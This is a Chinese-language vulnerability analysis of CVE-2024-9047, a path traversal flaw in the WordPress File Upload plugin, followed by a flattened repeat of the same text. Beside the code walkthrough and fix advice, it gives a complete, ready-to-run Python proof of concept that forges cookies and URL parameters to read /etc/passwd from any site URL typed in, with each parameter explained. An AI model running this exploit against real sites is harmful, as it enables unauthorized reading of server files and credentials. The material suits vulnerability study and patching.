CVE-2024-9047 (WordPress File Upload 插件漏洞分析)
字数 1498 2025-08-22 12:22:54

WordPress File Upload 插件漏洞分析 (CVE-2024-9047)

漏洞概述

WordPress File Upload 插件中存在一个路径遍历漏洞 (CVE-2024-9047),允许攻击者通过精心构造的请求读取服务器上的任意文件。该漏洞位于 wfu_file_downloader.php 文件中,由于对用户输入缺乏充分验证,导致攻击者可以控制文件路径并读取系统敏感文件。

漏洞分析

漏洞位置

漏洞主要存在于 wfu_file_downloader.php 文件中的 wfu_download_file() 函数,该函数直接调用了 wfu_fopen_for_downloader() 函数来打开文件,而没有对文件路径进行充分验证。

关键代码分析

  1. 文件路径获取逻辑:

    $filepath = WFU_USVAR_downloader('wfu_storage_' . $file_code);
    
  2. 文件打开操作:

    if ($fd = wfu_fopen_for_downloader($filepath, "rb")) {
        // 文件读取和输出逻辑
    }
    
  3. 用户状态处理函数:

    function WFU_USVAR_downloader($var) {
        global $wfu_user_state_handler;
        if ($wfu_user_state_handler == "dboption" && WFU_VAR("WFU_US_DBOPTION_BASE") == "cookies")
            return $_COOKIE[$var];
        else
            return WFU_USVAR_session($var);
    }
    

漏洞利用条件

  1. 能够控制 wfu_storage_ 开头的 Cookie 值
  2. 能够控制 file 参数的值
  3. 满足 wfu_file_downloader.php 的初始条件检查

漏洞利用

利用步骤

  1. 构造特定的 GET 请求参数:

    • file: 控制要读取的文件标识符
    • dboption_base: 必须设置为 "cookies"
    • handler: 必须设置为 "dboption"
    • session_legacy: 设置为 "1"
    • dboption_useold: 设置为 "1"
    • wfu_cookie: 不能为空
    • ticket: 需要有效的时间戳
  2. 设置特定的 Cookie:

    • wfu_storage_[file_code]: 设置为要读取的文件路径
    • wfu_download_ticket_[ticket]: 设置为当前时间戳
    • wfu_ABSPATH: 设置为 "/" (根路径)
    • wp_wpfileupload_[wfu_cookie]: 设置为任意值

利用 PoC

import requests
from urllib.parse import urljoin
import time

def fileuploadcheck(url):
    timestamp = str(int(time.time()))
    target_url = urljoin(url, "/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?"
                    "file=dr0se"
                    "&dboption_base=cookies"
                    "&handler=dboption"
                    "&session_legacy=1"
                    "&dboption_useold=1"
                    "&wfu_cookie=wp_wpfileupload_dr0se"
                    "&ticket=dr0se")
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
        "Cookie": f"wp_wpfileupload_dr0se=1;"
                 f" wfu_storage_dr0se=etc/passwd;"
                 f" wfu_download_ticket_dr0se={timestamp}; "
                 f"wfu_ABSPATH=/;"
    }
    
    try:
        response = requests.get(target_url, verify=False, headers=headers, timeout=10)
        print(response.text)
    except Exception as e:
        print(f"Error while checking {url}: {e}")

if __name__ == "__main__":
    url = input()
    fileuploadcheck(url)

关键参数说明

  1. URL 参数:

    • file=dr0se: 与 Cookie 中的 wfu_storage_dr0se 对应
    • dboption_base=cookies: 使程序从 Cookie 中读取文件路径
    • handler=dboption: 设置用户状态处理方式
    • session_legacy=1dboption_useold=1: 满足初始条件检查
    • wfu_cookie=wp_wpfileupload_dr0se: 对应 Cookie 中的 wp_wpfileupload_dr0se
    • ticket=dr0se: 对应 Cookie 中的 wfu_download_ticket_dr0se
  2. Cookie 参数:

    • wfu_storage_dr0se=etc/passwd: 指定要读取的文件路径
    • wfu_download_ticket_dr0se={timestamp}: 提供有效的时间戳
    • wfu_ABSPATH=/: 设置根路径
    • wp_wpfileupload_dr0se=1: 满足 wfu_cookie 不为空的条件

漏洞修复建议

  1. 对用户输入的文件路径进行严格验证
  2. 限制文件读取的目录范围
  3. 更新到插件的最新版本
  4. 实施适当的文件权限控制

总结

该漏洞利用 WordPress File Upload 插件中文件下载功能的不安全实现,通过控制 Cookie 值和 URL 参数,攻击者可以构造恶意请求读取服务器上的任意文件。开发人员应始终对用户输入进行严格验证,并限制文件系统访问的范围。

WordPress File Upload 插件漏洞分析 (CVE-2024-9047) 漏洞概述 WordPress File Upload 插件中存在一个路径遍历漏洞 (CVE-2024-9047),允许攻击者通过精心构造的请求读取服务器上的任意文件。该漏洞位于 wfu_file_downloader.php 文件中,由于对用户输入缺乏充分验证,导致攻击者可以控制文件路径并读取系统敏感文件。 漏洞分析 漏洞位置 漏洞主要存在于 wfu_file_downloader.php 文件中的 wfu_download_file() 函数,该函数直接调用了 wfu_fopen_for_downloader() 函数来打开文件,而没有对文件路径进行充分验证。 关键代码分析 文件路径获取逻辑 : 文件打开操作 : 用户状态处理函数 : 漏洞利用条件 能够控制 wfu_storage_ 开头的 Cookie 值 能够控制 file 参数的值 满足 wfu_file_downloader.php 的初始条件检查 漏洞利用 利用步骤 构造特定的 GET 请求参数: file : 控制要读取的文件标识符 dboption_base : 必须设置为 "cookies" handler : 必须设置为 "dboption" session_legacy : 设置为 "1" dboption_useold : 设置为 "1" wfu_cookie : 不能为空 ticket : 需要有效的时间戳 设置特定的 Cookie: wfu_storage_[file_code] : 设置为要读取的文件路径 wfu_download_ticket_[ticket] : 设置为当前时间戳 wfu_ABSPATH : 设置为 "/" (根路径) wp_wpfileupload_[wfu_cookie] : 设置为任意值 利用 PoC 关键参数说明 URL 参数 : file=dr0se : 与 Cookie 中的 wfu_storage_dr0se 对应 dboption_base=cookies : 使程序从 Cookie 中读取文件路径 handler=dboption : 设置用户状态处理方式 session_legacy=1 和 dboption_useold=1 : 满足初始条件检查 wfu_cookie=wp_wpfileupload_dr0se : 对应 Cookie 中的 wp_wpfileupload_dr0se ticket=dr0se : 对应 Cookie 中的 wfu_download_ticket_dr0se Cookie 参数 : wfu_storage_dr0se=etc/passwd : 指定要读取的文件路径 wfu_download_ticket_dr0se={timestamp} : 提供有效的时间戳 wfu_ABSPATH=/ : 设置根路径 wp_wpfileupload_dr0se=1 : 满足 wfu_cookie 不为空的条件 漏洞修复建议 对用户输入的文件路径进行严格验证 限制文件读取的目录范围 更新到插件的最新版本 实施适当的文件权限控制 总结 该漏洞利用 WordPress File Upload 插件中文件下载功能的不安全实现,通过控制 Cookie 值和 URL 参数,攻击者可以构造恶意请求读取服务器上的任意文件。开发人员应始终对用户输入进行严格验证,并限制文件系统访问的范围。